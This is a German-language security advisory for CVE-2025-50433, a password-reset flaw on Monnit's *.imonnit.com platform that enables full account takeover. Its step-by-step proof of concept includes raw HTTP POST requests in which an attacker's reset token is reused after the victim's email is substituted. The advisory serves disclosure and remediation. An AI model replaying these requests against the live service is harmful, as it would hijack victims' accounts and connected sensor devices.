CVE-2025-50433 — Kritische Account-Übernahme-Schwachstelle betrifft Monnit Cloud-Plattformen (*.imonnit.com)

Zusammenfassung

Eine kritische Authentifizierungsschwachstelle besteht auf *.imonnit.com, die eine vollständige Account-Übernahme (ATO) bei jedem Benutzerkonto ohne Interaktion des Opfers ermöglicht.

Das Backend überprüft nicht die Verknüpfung zwischen dem Passwort-Reset-Token und der Ziel-E-Mail, sodass Angreifer ihr eigenes gültiges Reset-Token verwenden können, um das Passwort eines beliebigen Opferkontos zurückzusetzen.

Angriffsvektor (Schritt-für-Schritt-PoC)

1. Angreifer erstellt Konto A ([email protected]).
2. Opfer hat Konto B ([email protected]).
3. Angreifer fordert einen Passwort-Reset für A und B an.
4. Angreifer erhält ein gültiges Reset-Token nur für Konto A.
5. Angreifer öffnet das Passwort-Reset-Formular mit Token A:

    POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
    Host: www.imonnit.com
    Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2

    __RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]

6. Vor dem Absenden ändert der Angreifer die E-Mail- und Benutzernamenfelder auf die E-Mail des Opfers:

    POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
    Host: www.imonnit.com
    Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2

    __RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]

7. Das Backend akzeptiert fälschlicherweise die nicht übereinstimmende E-Mail + Token.
8. Das Passwort des Opfers wird zurückgesetzt, und der Angreifer erhält vollständigen Zugriff auf das Konto des Opfers.

Auswirkungen

• Vollständige Account-Übernahme (ATO).
• Vollständiger Zugriff auf Dashboards, Sensoren und Kontodaten des Opfers.
• Möglichkeit, Geräte, Benachrichtigungen und Konfigurationen zu ändern.
• Privilegienerweiterung ohne Interaktion des Opfers.
• Remote-Ausnutzung ohne Voraussetzungen.

Schweregrad

CVSS 3.1: 9.8 (Kritisch)
Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Betroffene Domänen

*.imonnit.com

Grundursache

Der Passwort-Reset-Endpunkt überprüft nicht, ob das Reset-Token zur selben E-Mail gehört, die beim Reset-Vorgang angegeben wurde, was beliebige Passwort-Zurücksetzungen mit vom Angreifer kontrollierten Token ermöglicht.

Betroffener Endpunkt

/Account/PasswordReset/

Anbieter: Monnit Corporation

Empfehlungen

• Erzwingen einer strengen Token-E-Mail-Bindungsprüfung auf dem Backend.
• Jede Passwort-Reset-Anfrage ablehnen, bei der das Token nicht mit dem zugehörigen Konto übereinstimmt.
• Token sofort nach Verwendung ungültig machen.

Entdecker

Mohamed Mandor (0xmandor) GitHub: https://github.com/0xmandor